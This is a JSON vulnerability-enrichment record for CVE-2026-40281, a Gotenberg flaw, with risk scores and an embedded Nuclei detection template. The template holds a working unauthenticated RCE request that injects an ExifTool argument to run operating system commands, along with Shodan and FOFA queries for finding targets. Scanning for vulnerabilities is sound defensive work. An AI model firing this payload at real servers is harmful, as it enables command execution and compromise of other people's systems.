{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-40281/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-40281/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-40281/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-40281/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-40281/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-40281/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-40281"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-40281"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.02258,"kev":false,"percentile":0.82969},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-40281.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-40281\n\ninfo:\n  name: Gotenberg <= 8.30.1 - Remote Code Execution\n  author: aryu-ru\n  severity: critical\n  description: |\n    Gotenberg through 8.30.1 sanitizes only the keys of the JSON metadata submitted to the PDF metadata write endpoint, leaving the values unvalidated. A newline inside a metadata value is written straight to the ExifTool process standard input, where it terminates the current argument and starts a new one, letting an unauthenticated attacker inject arbitrary ExifTool arguments and execute operating system commands through an advanced formatting expression.\n  impact: |\n    Unauthenticated attackers can execute arbitrary operating system commands as the Gotenberg service account and read the command output from the returned PDF, potentially leading to full compromise of the container and of the internal network it can reach.\n  remediation: |\n    Update to version 8.31.0 or later, which validates metadata values in addition to metadata keys.\n  reference:\n    - https://github.com/gotenberg/gotenberg/security/advisories/GHSA-q7r4-hc83-hf2q\n    - https://github.com/gotenberg/gotenberg/commit/405f1069c026bb08f319fb5a44e5c67c33208318\n    - https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0\n    - https://github.com/vulhub/vulhub/tree/master/gotenberg/CVE-2026-40281\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-40281\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H\n    cvss-score: 9.1\n    cve-id: CVE-2026-40281\n    epss-score: 0.02258\n    epss-percentile: 0.8302\n    cwe-id: CWE-88\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: gotenberg\n    product: gotenberg\n    shodan-query: \"Gotenberg\"\n    fofa-query: \"Gotenberg\"\n  tags: cve,cve2026,gotenberg,exiftool,rce,unauth,vkev\n\nvariables:\n  cmd: \"id\"\n\nhttp:\n  - raw:\n      - |\n        POST /forms/pdfengines/metadata/write HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}\n\n        ------WebKitFormBoundary{{randstr}}\n        Content-Disposition: form-data; name=\"files\"; filename=\"{{randstr}}.pdf\"\n        Content-Type: application/pdf\n\n        %PDF-1.4\n        1 0 obj\n        << /Type /Catalog /Pages 2 0 R >>\n        endobj\n        2 0 obj\n        << /Type /Pages /Kids [3 0 R] /Count 1 >>\n        endobj\n        3 0 obj\n        << /Type /Page /Parent 2 0 R /MediaBox [0 0 200 100] >>\n        endobj\n        xref\n        0 4\n        0000000000 65535 f\n        0000000010 00000 n\n        0000000062 00000 n\n        0000000122 00000 n\n        trailer\n        << /Size 4 /Root 1 0 R >>\n        startxref\n        196\n        %%EOF\n        ------WebKitFormBoundary{{randstr}}\n        Content-Disposition: form-data; name=\"metadata\"\n\n        {\"Title\":\"{{randstr}}\\n-Title<${PDFVersion;$_=qx({{cmd}})}\"}\n        ------WebKitFormBoundary{{randstr}}--\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - 'uid=[0-9]+\\([a-z0-9_-]+\\) gid=[0-9]+\\([a-z0-9_-]+\\)'\n\n      - type: word\n        part: header\n        words:\n          - \"application/pdf\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100dee761879058c381c34fe636bff1e6a473e25b35d2b45925b4feb495010a2aa702203a69a98ec6b627a4cded3b3b5cea3e1ce455c83406743edc2cb2c87669e5f0da:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-40281"}